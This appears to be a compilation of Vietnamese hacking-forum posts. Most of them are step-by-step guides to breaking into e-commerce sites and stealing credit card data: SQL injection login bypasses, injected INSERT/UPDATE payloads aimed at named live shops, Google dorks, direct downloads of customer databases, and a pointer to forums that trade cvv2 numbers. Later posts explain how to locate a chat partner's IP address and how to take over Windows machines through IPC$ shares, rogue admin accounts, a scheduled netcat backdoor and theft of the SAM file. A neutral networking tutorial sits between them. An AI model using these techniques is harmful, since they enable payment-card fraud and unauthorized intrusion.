-SQL Injection lại tiếp tục làm khổ các website...Bạn tiếp tục có cơ hội để bypass - đăng nhập trái phép vào vai trò admin qua 'or''=' để "quản lý" cơ sơ dữ liệu hộ admin.

Đường dẫn để đăng nhập

www.tên website.tên miền/vpasp/shopadmin.asp

-1 số admin "quên" đổi Username và password mặc định vpasp/vpasp hay admin/admin . Bạn có thêm 1 cơ hội nhỏ nữa .



3-Thông qua lỗi SQL của Storefront:

A\Mô tả :

Storefront cũng như VP-ASP , nó là 1 hệ thống bao gồm tất cả những gì cần thiết cho việc quản lý 1 website thương mại trên Internet….Và , cũng như AlaCart và VP-ASP , Storefront bị dính lỗi SQL ở trang Login mà qua đó cho phép hackers lấy quyền đăng nhập vào phần quản lý của Admin mà không cần sự cho phép.

B\Tiến Hành :

-Bạn vào http://www.google.com/intl/xx-hacker/ , tìm với từ khóa Storefront allinurl:/login.asp . Sauk hi tìm được những trang Login , bạn dùng Username và Password ' or 'a'='a để bypass vào.

-Nếu như bạn đã biết trước địa chỉ email của ai đó , bạn cũng có thể sử dụng nó ở đây theo dạng sau :

Username : địa chỉ email đã biết

Password : ' or 'a'='a

=> Bạn vào được phần quản lý của user sở hữu địa chỉ email trên. Việc lấy thẻ tín dụng ở đây không còn là việc khó khăn nữa.



4-Thông qua lỗi SQL của VP-ASP:

A\Mô tả :

1 phiên bản khác của VP-ASP , lỗi SQL đã được phát hiện ra trong 2 trang shopsearch.asp và shopdisplayproducts.asp qua đó cho phép những tin tặc tạo 1 tài khỏan Người Quản Trị mới , đổi mật khẩu của Admin trước đó mà không cần biết password hay chỉ đơn giản là đăng nhập trái phép để đọc thong tin bán hang của website…Bao gồm cà thẻ tín dụng

B\Tiến Hành :

Như thường lệ bạn tìm trong Google…allinurl:shopsearch.asp hay allinurl:shopdisplayproducts.asp .

Vấn đề ở đây là bạn không thể nào bypass vào tài khỏan admin được như 3 cách trên mà phải thực hiện 1 số mã lệnh SQL trước ( Lưu ý rằng những đọan mã sau bạn chèn vào ngay sau đường Link shopsearch.asp? ) :

A\THÔNG QUA TRANG SHOPSEARCH.ASP

I - Chèn 1 tài khỏan vào Database :

-Câu lệnh :

Keyword=&category=5); insert into tbluser (fldusername) values ('tên tài khỏan')--&SubCategory=&hide=&action.x=46&action.y=6

-Ví dụ :

http://www.birnsandsawyer.com/webcart/shopsearch.asp?Keyword=&category=5); insert into tbluser (fldusername) values ('silveryhat')--&SubCategory=&hide=&action.x=46&action.y=6



II - Thiết lập mật khẩu cho tài khỏan đã có :

-Câu lệnh :

Keyword=&category=5); update tbluser set fldpassword='mật khẩu' where fldusername='tên tài khỏan'--&SubCategory=All&action.x=33&action.y=6

-Ví dụ :

http://www.birnsandsawyer.com/webcart/shopsearch.asp?Keyword=&category=5); update tbluser set fldpassword='87fzvwek' where fldusername='silveryhat'--&SubCategory=All&action.x=33&action.y=6



III – Thiết lập quyền truy cập của tài khỏan ( ở đây cho là quyền của người quản trị cho nó oai ) :

-Câu lệnh :

Keyword=&category=3); update tbluser set fldaccess='1 - đây là quyền của admin' where fldusername='tên tài khỏan'--&SubCategory=All&action.x=33&action.y=6

-Ví dụ :

http://www.birnsandsawyer.com/webcart/shopsearch.asp?Keyword=&category=3); update tbluser set fldaccess='1' where fldusername='silveryhat'--&SubCategory=All&action.x=33&action.y=6



Đó là 3 hàng lệnh mà bạn nên biết khi bắt đầu hack vào VP-ASP qua trang shopsearch.asp. Tất nhiên nó còn vài câu lệnh nữa, nhưng Silvery Hat Hacker không muốn thực hành ở đây , bạn hãy xem sơ qua câu lệnh :

IV\Đổi password 1 tài khỏan :

Keyword=&category=5); update tbluser set fldpassword='mật khẩu mới' where fldusername='tên tài khỏan'--&SubCategory=All&action.x=33&action.y=6

V\Xem mật khẩu của 1 tài khỏan :

cat=qwerty'%20union%20select%20fldauto,fldpassword%20from%20tbluser%20where%20fldusername='tên tài khỏan'%20and%20fldpasswo rd%20like%20'a%25'—



B\THÔNG QUA TRANG SHOPDISPLAYPRODUCTS.ASP

-Nói thật ra thì Silvery Hat Hacker cũng chưa nắm rõ về phương pháp này cho lắm vì chưa có cơ hội thực hành với trang shopdisplayproducts.asp. Tuy nhưng Silvery Hat Hacker tin chắc nó có liên quan đến việc Xem mật khẩu của tài khoản ở trên.

http://tên website/vpasp/shopdisplayproducts.asp?cat=qwerty' union%20select fldauto,fldpassword%20from%20tbluser%20where fldusername='admin'%20and%20fldpassword%20like%20'a%25'--

Bạn thay lần lượt dòng cuối cùng ( màu xanh lá cây ) bằng :

%20'a%25'--

%20'b%25'--

%20'c%25'—



Lỗi này được thông báo cho VP-ASP ngày 28/11/2003



5\Lỗi đường dẫn của ProductCart :

A\Mô tả :

-ProductCart một sản phẩm đầu tay của hãng Early Impact, nó giúp cho người quản trị website bán hàng trực tuyến dễ dàng điều khiển thiết lập hay tinh chỉnh tính năng và tiện ích trong Website của mình 1 cách trực quan và dễ hiểu qua giao diện quản lý rất thân thiện. Tuy không thể so sánh với VP-ASP , 1 cao thủ trong số các phần mềm bán hàng trực tuyến với hàng trăm website sử dụng và hàng chục Bug lỗi trong đó. Vì thế , ở đây, ProductCart chỉ là hạng lon con với 1 lỗi duy nhất, cực kỳ nguy hiểm. Qua lỗi này, Silvery Hat Hacker có thể trực tiếp đưa về máy mình mười mấy Megabytes Credit Cards và thông tin về khác mua hàng trong Website đó. Lỗi đường dẫn diễn ra, nghĩa là chúng ta không cần biết Website đó như thế nào, trông ra sao, bên trong có thư mục gì, hình ảnh thế nào....nhưng vẫn có thể tải 1 số thẻ tín dụng về máy mình trơn tru, ít bị phát hiện vì Admin có thể không xác định được đã có người ghé thăm nhà mình và bê cái két sắt ( Credit Cards ) về làm của riêng đâu...



B\Tiến hành :

-Hầu hết chúng ta đều dùng công cụ Google để tìm kiếm 1 thông tin hay tài liệu website nào đó nhằm cho nhiều mục đích vui chơi và học tập. Thế nhưng , bên cạnh đó Google cũng tài sản vô giá của Hackers khi nó trở thành mục tiêu trung gian để khai thác, xâm nhập bất hợp pháp vào khu vực của 1 Website nào đó mà người dùng bình thường không thể biết. Chỉ với 1 từ khóa đơn giản, thông tin quan trọng về Webmaster,người đó có thể bị lộ, chỉ với 1 từ khóa đơn giản, password của ai đó có thể bị mất, và, chỉ với 1 từ khóa đơn giản, bạn có thể download cả Database - tập tin quản lý dữ liệu chứa hàng chục Credit Card chùa về máy mình mà không cần phải vào xem mặt Website đó. Tương tự như ở đây, ProductCart bị mắc lỗi ở việc quản lý đường dẫn đưa tới nơi lưu trữ Database cực kỳ nguy hiểm mà cho phép chúng ta làm công việc Silvery Hat Hacker nói ở trên.

-Trong quá trình thực hành theo bài viết này, Silvery Hat Hacker sẽ không chịu bất kỳ trách nhiệm nào do bạn gây ra làm ảnh hưởng đến nhân dân trong cộng đồng Internet này, chính bạn sẽ là người gánh hết mọi hậu quả khi có vấn đề liên quan đến pháp luật. Nếu bạn không chắc về những gì mình làm, Silvery Hat Hacker đề nghị bạn đóng của sổ trình duyệt hiện tại, xé bỏ tờ giấy nếu bạn có bản in của tài liệu này trước khi mọi chuyện do bạn làm trở nên tồi tệ hơn.

-Ah, bạn không làm theo Silvery Hat Hacker nói ở trên àh ? Sau khi đọc hết dòng chữ bạn đang đọc này nghĩa là bạn đã đồng ý với luật lệ Silvery Hat Hacker nói ở trên và chấp nhận liều mạng. Ta hãy bắt đầu vấn đề chính :

+Bạn vào http://www.google.com/intl/xx-hacker/ , tìm với từ khóa sau Allinurl:/productcart/ . Hàng lọat link web sẽ xuất hiện trong cửa sổ kết quả của Google. Bạn chọn đại 1 link nào đó ở trang thứ 3 hay 4 trở đi. Silvery Hat Hacker chọn http://store.klas-fm.firstmediaworks.com/ để làm dẫn chứng minh họa.

+Có được 1 trang web dùng ProductCart , vấn đề kế tiếp bạn làm thêm vào tên của sản phẩm này sau link web :

http://store.klas-fm.firstmediaworks.com/ProductCart

+Chẳng có gì xảy ra ngọai trừ vào website nếu bạn click link đó phải không ? Nhưng nếu, dừng lại suy nghĩ giây lát, bạn biết thẻ tín dụng thường được chứa trong Database để dễ quản lý phải không ? Vậy nó thường chứa ở đâu trong website bây giờ ?... Silvery Hat Hacker thử lấy đại biệt danh của tập tin chứa Credit Card này thêm vào link :

http://store.klas-fm.firstmediaworks.com/ProductCart/Database

+Tự nhiên cái thấy vui nên viết dòng này.

+Nếu bạn chưa thấy được Database thì để Silvery Hat Hacker giúp vậy, bạn thêm EIPC.mdb vào nơi tận cùng link sau khi đã qua các giai đọan ở trên, ta có ví dụ :

http://store.klas-fm.firstmediaworks.com/ProductCart/Database/EIPC.mdb

+Thử click Refresh hoặc Go trên trình duyệt. Chẳng thấy gì xảy ra cả, tự nhiên bắt tải tập tin gì đó gần 2.24 Mb về máy với đuôi mdb. Mở ra hàng đống cột và bàng như Credit Cards, Customers, Admin, Orders.....



C\Tóm gọn:

-Đối tượng : ProductCart của hãng Early Impact.

-Phiên bản : Không rõ.

-Đối tượng có liên quan : trình tìm kiếm Google.

-Mức độ lỗi : Nguy hiểm cho người mua hàng ở Website đó.

+Khả năng lấy được Credit Card : 3.5/5

-Công thức - Cách khai thác gồm có :

http://www.tên website dùng ProductCart.tên miền/ProductCart/Database/EIPC.mdb

-Được gì ?

Tập tin chứa Credit Cards của Website đó.

-Vấn đề lớn nhưng cũng hơi nhỏ : có thể Database bị mã hóa !

-Hướng giải quyết : Tìm trình giải mã bằng Google



Bài viết đến đây chấm dứt. Tùy vào khả năng mỗi bạn mà có thể hack được hay không. Nhưng vấn đề chính ở đây là cách giải mã nếu database bị mã hóa mà thôi. Silvery Hat Hacker đã thử viết 1 trình nhưng cho ra kết quả Credit Card 1 nơi , tên 1 nơi, địa chỉ lại ở nơi khác nên thôi, bạn nên vào Google và tìm trình giải mã. Có lẽ qua câu lệnh như : Mdp Decoder chẳng hạn.



Bài phụ :

I\Lỗi đường dẫn Fpdb của 1 trình quản lý mua hàng trực tuyến :

+Tìm trong Google với từ khóa sau :

allinurl: /fpdb/

+Vài chục trang sẽ xuất hiện, Silvery Hat Hacker đưa ví dụ sau :

http://home.cfl.rr.com/pcscap/Fpdb/

+Trong cửa sổ mới, bạn chọn tùy lọai mdb mà tải về.

+Khả năng lấy được Credit Card : 3/5



I\Lỗi đường dẫn shop.mdb của 1 trình quản lý mua hàng trực tuyến :

+Lại là Google thôi bạn :

allinurl: shop.mdb

+Vài chục trang sẽ lại xuất hiện, Silvery Hat Hacker cũng đưa ví dụ chứng minh :

http://www.thomas.edu/larochelle/cs116/2003spring/Access/Hockey%20Shop.mdb

http://www.staff.sbc.edu/kcook/classfiles/AccessTables/Noah’s%20Pet%20Shop.mdb

+Khả năng lấy được Credit Card : 1.75/5

hack_Credit_card

cái này ai cũng biết rồi, mình post lên cho nhưng ai chưa biết để lam thử, bảo đảm thành công

lên google tìm từ khóa
"inurl:commerce.cgi"
Rồi okie số địa chỉ online đang chờ đón
vd:
ta có site
<http://www.warresisters.org/store/commerce.cgi>?
xóa cái commerce.cgi? đi thay bằng Admin_files/commerce_user_lib.pl
ta sẽ được
## This file contains the user specific variables
## necessary for Commerce.cgi


$sc_sales_tax = ".0825";
$sc_sales_tax_state = "NY";
$sc_send_order_to_email = "yes";
$sc_order_log_name = "onlinebookstore.log";
$sc_send_order_to_log = "yes";
$shipping_percentage = ".15";
$sc_order_email = "wrl\@igc.org";
$sc_root_url = "http://www.warresisters.org/store";
$sc_admin_email = "lit\@warresisters.org";
$sc_domain_name_for_cookie = ".warresisters.org";
$sc_order_script_url = "https://secure.serve.com/resist/store/commerce.cgi";
$sc_root_web_path = "/home/serve/resist/Html/Products";
$sc_path_for_cookie = "/store";
$path_to_html = "../Html";
1;

xóa cái commerce_user_lib.pl đi thay bằng onlinebookstore.log (tìm ở $sc_order_log_name ) và ....
Việc tiếp theo là thuộc về bạn , không hỏi gì nữa nha!http://www.killerclub.org
http://www.killerclub.net.tf
http://www.diendancc.com
Mỗi ngày cập nhập ít nhất là 20 cvv2 cho member

Hang_trinh_goi_du_lieu

Mục đích của bài viết này là mang lại một cái nhìn cơ bản về hành trình của các gói dữ liệu trao đổi trên Internet từ việc tạo các gói được tạo đến các Switch, Router, NAT và cách thức truyền tải dữ liệu trên Internet. Chủ đề này sẽ rất hay đối với những người mới nghiên cứu về lĩnh vực mạng và bảo mật và những người có ít kiến thức cơ bản về quá trình xử lý dữ liệu trên Internet.

Giới thiệu

Có lẽ trong một vài bài báo, chúng ta cũng đã thấy được sự quan trọng của hai lĩnh vực về bảo mật máy tính đối với người mới sử dụng đó là: programming và networking. Trong khi chúng là hai phần khác nhau thì cả hai cần phải được xem có tầm quan trọng như nhau. Nếu không có việc lập trình các giao thức mạng thì sẽ không có mạng. Điều cần hỏi ở đây là: có bắt buộc cần phải có một lập trình viên để nắm được một cách đầy đủ các khái niệm về mạng và lý thuyết mạng ở mức thấp hay không? Trong nhiều trường hợp là không cần như vậy. Mặc dù vậy, một sự ham hiểu của các độc giả sẽ là tốt và có thể hướng anh ta vào việc lập trình tại một vài điểm để có thêm các thử nghiệm với các giao thức khác và lý thuyết mạng.

Với những người mới với lĩnh vực này, ấn tượng đầu tiên với một máy tính là cái gì đó khó có thể quên. Khi một ai đó khám phá ra Internet, sự giàu có của thông tin tạo cho họ một cảm giác kinh sợ và tạo nên cho họ một hứng khởi là các kỹ thuật bên trong của nó làm việc như thế nào. Bất kỳ ai dường như cũng bị rơi vào một thế giới hoàn toàn mới khi sử dụng một máy tính để kết nối với các hệ thống khác bên phía bờ kia của thế giới. Họ sẽ tò mò về các máy tính và mạng làm các công việc này như thế nào? Và thông tin truyền từ máy tính này đến máy tính kia đi qua tất cả các thiết bị khác nhau để đến được đích của nó như thế nào?

Các hành trình

Khi một ứng dụng Internet được gọi thì một loạt các sự kiện sẽ xảy ra. Trong bài viết này chúng tôi chỉ giới thiệu một cách đơn giản một gói được tạo ra như thế nào và các thiết bị sẽ đưa nó đi theo nhiều con đường để đến đích của nó ra sao. Việc hiểu biết về việc gì xảy ra giữa điểm A và điểm Z có thể khá hữu ích trong việc tiếp cận đến lĩnh vực này.

Bây giờ chúng ta nên mô tả những gì xảy ra từ thời điểm một ứng dụng được gọi đến lúc các gói được tạo ra bằng các ứng dụng tới được đích của nó. Giả sử rằng bạn sử dụng Firefox để kiểm tra xem một tin tức trên trang web yêu thích của bạn. Một loạt các sự kiện đã được thiết lập nên trong sự chuyển động này là hoàn toàn trong suốt đối với bạn. Sau khi bắt tay TCP/IP ban đầu, trình duyệt web của bạn sẽ gửi một yêu cầu đến máy chủ web server mà trang chủ của bạn đang hỏi cho trang chủ của nó. Thông tin yêu cầu HTTP GET bây giờ cần phải gửi đến web server. Những gì xảy ra với Firefox khi kích ứng dụng của bạn là làm một yêu cầu đến hệ thống. Quá trình này sẽ đưa dữ liệu mà Firefox muốn gửi được copy từ các không gian nhớ của các ứng dụng đến bộ đệm bên trong không gian trung tâm.

Phụ thuộc vào giao thức truyền tải nào mà ứng dụng sử dụng, lớp socket sẽ gọi cả UDP và TCP. Chúng ta cần phải nhớ rằng có rất nhiều ứng dụng không sử dụng TCP như một giao thức truyền tải. DNS sử dụng cả hai UDP và TCP, trong khi các ứng dụng khác như là TFTP chỉ sử dụng UDP. Lớp socket gọi giao thức truyền tải thích hợp, khi đó dữ liệu sẽ được copy xuống vào bộ đệm socket.

Sự chia nhỏ dữ liệu

Khi copy dữ liệu từ yêu cầu GET được thực hiện đến một bộ đệm socket, TCP sẽ chia nhỏ dữ liệu này nếu cần thiết. Mặc dù một yêu cầu GET là tương ứng với một gói và sẽ đi bên trong MTU của Ethernet không có vấn đề gì, nhưng việc gì sẽ xảy ra nếu các yêu cầu của trình duyệt vượt quá MTU? Khi đó TCP sẽ chia nhỏ dữ liệu để bảo đảm kích thước phù hợp với giới hạn 1500bytes của Ethernet MTU. Một điểm chính đáng nhớ ở đây là sự chia nhỏ này sẽ xảy ra tại lớp TCP nếu ứng dụng yêu cầu sử dụng TCP như là giao thức truyền tải dữ liệu của chúng.

Việc truyền tải dữ liệu trong môi trường mạng.

Dữ liệu được tạo hợp với chức năng lớp truyền tải riêng của nó, hãy xem xét lớp IP. Tại đây, header IP được xây dựng và tất cả các địa chỉ IP quan trọng được gán vào. Sau đó, dự liệu sẽ theo các đường liên kết dữ liệu, nơi mà cả hai lớp điều khiển liên kết logic và điều khiển truy cập thực hiện phần việc này. Cuối cùng, dữ liệu được sẵn sàng để truyền bằng các lớp vật lý được tích hợp trong hệ thống bằng các NIC card. Với hầu hết các người dùng tại nhà, một router SoHo đã được kết hợp của cả chuyển mạch (switch) và router đơn giản. Với người dùng trong công ty, switch là một phần cứng tách biệt với router của nó. Nếu trong môi trường công ty các máy tính có thể nối với các switch qua đường cáp. Nếu switch không có bảng hard-coded CAM thì swtich cần chú ý đến địa chỉ MAC của máy tính (duy nhất cho mỗi Ethernet card). Khi gói dữ liệu đến từ quá trình truyền tải của nó mang theo dữ liệu của website như được yêu cầu trong GET request chuyển mạch theo hướng ngược của trình khách nó sẽ hiểu nơi để gửi các gói đó trở lại.

Trình khách hiểu các gateway mặc định của nó như thế nào? Dù nó là mạng công ty hay tại nhà thì hệ thống sẽ luôn thực hiện một gói DHCP một lần để nó khởi động và lấy thông tin chính từ server DHCP. Do không phải tất cả các hệ thống đều sử dụng DHCP, vì thế không có địa chỉ IP hay gateway được định trước. Thông tin trong đó như là tên server DNS nào được sử dụng, địa chỉ IP của nó và địa chỉ IP gateway mặc định. Nếu DHCP bị tắt, người quản trị hệ thống sẽ phải vào tất cả các thông tin này bằng tay. Cực kỳ không hiệu quả chút nào, nên nó giải thích tại sao DHCP được bật trong hầu hết các mạng.

Với gateway mặc định ở gần, máy tính hiểu đích đi đến để truy cập Internet và lấy dữ liệu trang web khi được yêu cầu bởi Firefox. Sau khi các gói đi qua switch nó hình thành đường để dễ dàng đi qua firewall đến router. Các packet nên được cho qua một firewall, khi đó firewall sẽ làm một vài công việc chính. Một firewall với đầy đủ tính năng sẽ ghi địa chỉ IP và port nguồn, cộng địa chỉ IP và port đích. Firewall sẽ giữ thông tin này trong bảng trạng thái của bộ nhớ, bằng cách này nó sẽ quy định sự truy cập vào mạng bên trong như thế nào. Nếu một gói không được ghi thì nó sẽ không được truy cập vào trong mạng. Trong một dịp khác chúng tôi sẽ giới thiệu với các bạn về vai trò của firewall đối với việc bảo vệ máy tính của bạn như thế nào.

Các router và NAT

Bây giờ, khi các gói đã đi qua firewall, nếu hiện tại nó đang đi đến router. Địa chỉ IP cá nhân mà các gói có (giả định nó là một địa chỉ cơ bản 192.168/16) sẽ được biến đổi thành một địa chỉ IP chung có thể định tuyến, cái mà được cho bởi ISP của bạn. Nó cũng được gán cho router của bạn. Các gói bây giờ bắt đầu cuộc hành trình của nó trên Internet và qua vô số các router trong chuyến đi của nó. Mỗi thời điểm đó, các gói hướng đến một router khác. Vậy cái gì xảy ra với chính các gói.

Hãy bắt đầu bằng việc nhìn vào router. Nó sẽ định tuyến các gói dựa vào thông tin trong bảng định tuyến của chính nó. Đến khi router tiếp theo nhận được các gói này nó sẽ tính toán theo bảng định tuyến của nó để tìm ra con đường ngắn nhất cho việc truyền tải gói tin này. Một trong vài phần nó sẽ thay đổi đó là TTL “time to live”. Bây giờ phần header IP của nó được thay đổi, do đó các router cần phải tính toán một giá trị tổng mới cho các gói. Cứ tương tự như vậy cho tới khi các gói đến được địa chỉ đích mong muốn của nó.

Lớp vật lý sẽ thực hiện một IRQ đến CPU đã chỉ rõ rằng có dữ liệu đã được xử lý. Sau đó, dữ liệu sẽ đi lên lớp data link, đây chính là nơi mà webserver sẽ nhận ra MAC và tiếp tục đi lên lớp IP, sau đó là lớp transport (nơi dữ liệu được đưa vào bộ đệm). Tại lớp này các thông tin của ứng dụng mà dữ liệu mang theo cho nó được xử lý ở đây. Kết quả cuối cùng là thông tin được yêu cầu cho yêu cầu GET đã được gửi trở lại. Tương tự như thế với một gói mới thì quá trình cũng xảy một loạt các sự kiện như vậy.

Kết luận

Nhìn chung bài báo này đã cố gắng để trình bày cho các bạn có một kiến thức cơ bản về mạng và các khái niệm chung của routing, switching và NAT. Mong các bạn có thể tiếp tục thực hiện những nghiên cứu thêm để nắm sâu hơn về nó và chúc các bạn thành công.

Phạm Văn Linh

find_ip_by_yahoo

Cách tìm IP qua chat YM

--------------------------------------------------------------------------------

Đầu tiên bạn vào Start ---> cmd ( hoặc command , tùy vào dv có khoá hay không ) ---> nó sẽ hiện lên 1 màn hình DOS , bạn bấm lệnh :

c:windows> netstat -an


Code:
Active Connections



Proto Local Address Foreign Address State

TCP 0.0.0.0:135 0.0.0.0:0 LISTENING

TCP 0.0.0.0:445 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1032 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1042 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1044 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1046 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1048 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1178 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1772 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1774 0.0.0.0:0 LISTENING

TCP 0.0.0.0:5101 0.0.0.0:0 LISTENING

TCP 10.0.0.70:139 0.0.0.0:0 LISTENING

TCP 10.0.0.70:1042 207.46.249.56:80 CLOSE_WAIT

TCP 10.0.0.70:1044 207.46.244.158:80 CLOSE_WAIT

TCP 10.0.0.70:1046 207.46.197.121:80 CLOSE_WAIT

TCP 10.0.0.70:1054 0.0.0.0:0 LISTENING

TCP 10.0.0.70:1178 216.155.193.179:5050 ESTABLISHED

TCP 10.0.0.70:1242 0.0.0.0:0 LISTENING

TCP 10.0.0.70:1242 10.0.0.99:139 ESTABLISHED

TCP 10.0.0.70:1767 0.0.0.0:0 LISTENING

TCP 10.0.0.70:1767 10.0.0.199:139 ESTABLISHED

TCP 10.0.0.70:1771 66.98.134.72:80 TIME_WAIT

TCP 10.0.0.70:1772 66.98.134.72:80 ESTABLISHED

TCP 10.0.0.70:1774 66.98.134.72:80 ESTABLISHED

TCP 127.0.0.1:1031 0.0.0.0:0 LISTENING

UDP 0.0.0.0:445 *:*

UDP 10.0.0.70:137 *:*

UDP 10.0.0.70:138 *:*

UDP 10.0.0.70:500 *:*

UDP 10.0.0.70:4500 *:*

UDP 127.0.0.1:1183 *:*

UDP 127.0.0.1:1223 *:*

UDP 127.0.0.1:1298 *:*

UDP 127.0.0.1:1494 *:*
_ Tiếp theo bạn để ý 1 cái này hen . IP của YM khi chat qua mạng dv ADSL thường bị giấu mất tích cái đuôi cs52.msg.dcn.yahoo.com . Nên khi đó bạn phải xác định thật chính xác số IP của mình là bao nhiêu đã nhé . Nhưng thông thường khi bạn chat như thế thì để ý cái :

TCP 10.0.0.70:1178 216.155.193.179:5050 ESTABLISHED

Nhất là dòng chữ ESTABLISHED và port 5050 nó chính là thằng Yahoo đó . Bạn bấm tiếp lệnh :

C:window>tracert 216.155.193.179


Code:
Tracing route to cs52.msg.dcn.yahoo.com ( cái này chứng tỏ mình đã xác định đúng ) [216.155.193.179]

over a maximum of 30 hops:



1 <10 ms <10 ms <10 ms 10.0.0.138

2 10 ms 10 ms 10 ms 203.162.164.1

3 10 ms 10 ms 20 ms localhost [203.210.147.33]

4 70 ms 90 ms 30 ms localhost [203.210.146.10]

5 20 ms 30 ms 20 ms 203.162.119.161

6 30 ms 20 ms 60 ms 203.162.6.35

7 80 ms 90 ms 40 ms 203.162.27.70

8 * * * Request timed out.

9 * * * Request timed out.

10 * * * Request timed out.

11 * * * Request timed out.

12 * * * Request timed out.

13 * * * Request timed out.

14 * * * Request timed out.

15 * 300 ms 321 ms dcr1-loopback.Washington.savvis.net [206.24.226.99]

16 350 ms 321 ms 330 ms bhr1-pos-10-0.Sterling2dc3.savvis.net [206.24.238.38]

17 * 400 ms 361 ms 216.109.75.254

18 381 ms 410 ms 391 ms vl47.bas1-m.dcn.yahoo.com [216.109.120.218]

19 390 ms 341 ms 380 ms cs52.msg.dcn.yahoo.com [216.155.193.179]



Trace complete.- Cuối cùng nó cái cái mình cần tìm là đây :

3 10 ms 10 ms 20 ms localhost [203.210.147.33]
4 70 ms 90 ms 30 ms localhost [203.210.146.10]
5 20 ms 30 ms 20 ms 203.162.119.161

- Lưu ý 2 số IP localhost là IP do dv mạng che lại và thông thường đó là số IP cua ADSL nó không làm được cái trò trống gì đâu á . Cái cuối cùng là cái ăn thua đó . À còn với các bạn sử dụng máy nhà thì có lẽ đơn giản hơn nhiều vì thông thường nó chỉ xuất hiện cái IP cuối cùng thôi .

- À đọc xong thì có lẽ có bạn hỏi tôi , các số IP còn lại thì sao ? Các số còn lại chính là localhost của chính dv bạn làm đó . Muốn xác định được nó thì bạn cứ :

c:window>ipconfig /all

Cocuments and SettingsAdministrator>ipconfig /all

Windows 2000 IP Configuration

Host Name . . . . . . . . . . . . : May70
Primary DNS Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Broadcast
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Realtek RTL8139/810x Family Fast Eth
ernet NIC
Physical Address. . . . . . . . . : 00-E0-1A-00-0B-6C
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 10.0.0.70
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.0.138
DNS Servers . . . . . . . . . . . : 203.162.4.1
203.162.0.11

Loại tất cả các số IP đó ra hen , vì đó thường là các số IP local do các dv mạch định không phải là IP thực . Còn IP cùa mình thì :

http://www.chaoga.com ( diển đàn này không cho đoạn code [web] , bó chân luôn , click vô đó tạm vậy )

list_task

Phần 1 : Net

chỉ cần bạn có được User và Passwords của một IP nào trên Net...thế là bồ có thể kết nói một IPC$ rỗng rồi đấy....

bây giờ tớ xin ví dụ là bạn có được User la hbx và passwords : 123456...IP : 127.0.0.1

cậu hãy mở trình Ms dos và gõ vào lệnh sau :

Net use 127.0.0.1ipc$ "123456" /user:"hbx" đẩ kết nồi một IPC$ rỗng với máy victtim

nhưng thao tác tiếp theo..bạn nhất thiết phải login xong mới có thể sử dụng

-------------------------

bây giờ chúng ta nói tiếp làm thế nào để tạo một user mới nghe...

chúng ta cộng thệm môt user mới là heibai và password lovechina

Net user heibai lovechina / add

nếu bạn thành công..thì có thể cộng user này vào nhom Adminstrator

Net Localgroup Adminstrator heibai / add

-------------------------

trong phần này tớ hướng dẫn tạo một ổ đỉa Ảo trên computer

Net use z: 127.0.0.1C$ ( hoặc là IPC$ )

Z là của mình...còn C$ là của Victim


Phần 2 : AT

thông thường thì khi độp nhập vào máy tính..chúng ta sẻ tặng quà lưu niệm cho victim trước khi rút lui,....vậy khi copy trojan lên máy rồi...làm thế nào dể khới động nó đây ?

chúng ta phải dùng đến lệnh AT thôi.....

đầu tiên...chúng ta cần biết thời gian của đối phương

Net time 127.0.0.1

bây giờ thì nó sẽ phản hồi thời gian của victim...vd : 12:0 ..
tiếp theo..chúng ta cần tạo môt homework ID = 1

AT 127.0.0.1 12:3 nc.exe

ở đây giả thiết là tui có con trojan la Nc.exe và đã được copy lên máy victim rồi

* giới thiệu chút it về NC...NC là từ viết tắc của NETCAT....nó là một telnet server với port 99

đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99..thế là xong phần lưu bút


phần 3 : Telnet

đây là một lệnh rất cần thiết khi xâm nhập máy tính...nó có thể kết nối vớ máy tính khắc từ xa..nhưng thường thi phải có I D & PW..nhưng nếu máy đã Ăn Đạn rồi thì bạn chỉ cần connected đến port 99 là ok

Telnet 127.0.0.1 99

thế là bồ đã kết nối đến port 99 và có thể thực hiện tất cả các lệnh...


Phần 4 : Copy

bây giờ chúng ta nói tiêp...làm thế nào để copy files trên máy mình lên máy victim và làm ngược lại....nhưng bạn phải có kết nối IPC$ cái đã....

chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1

Copy Index.html 127.0.0.1C$index.html

nếu bạn copy lên folder winNt

Copy index.html 127.0.0.1admin$index.html

muốn copy files trên máy victm thì bạn gõ vào :

Copy 127.0.0.1Admin$repairsam._c:


phần 5 : Set

nếu bạn muốn hack một website......tất nhiến là phải mở port 80..nếu không thì cậu hack cho ai xem ?

đã tới lúc dùng lệnh Set rồi

sau đây là kết quả mà tớ tìm thấy......chúng ta phân tích nghe....chủ yếu là muốn biêt homepage nó ở đâu thôi.....

COMPUTERNAME=PENTIUMII
ComSpec=D:WINNTsystem32cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST= DAY LA SO IP CUA TUI..NHUNG TUI DEL ROIHTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:WINNTsystem32os2dll;
OS=Windows_NT
Path=D:WINNTsystem32;D:WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:vlroot DAY LA URL CUA HOMEPAGE, CHI CAN NHIN SAU DONG PATH_TRANSLATED= LA BIET NO O DAU 。O DAY LA E:vlroot PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
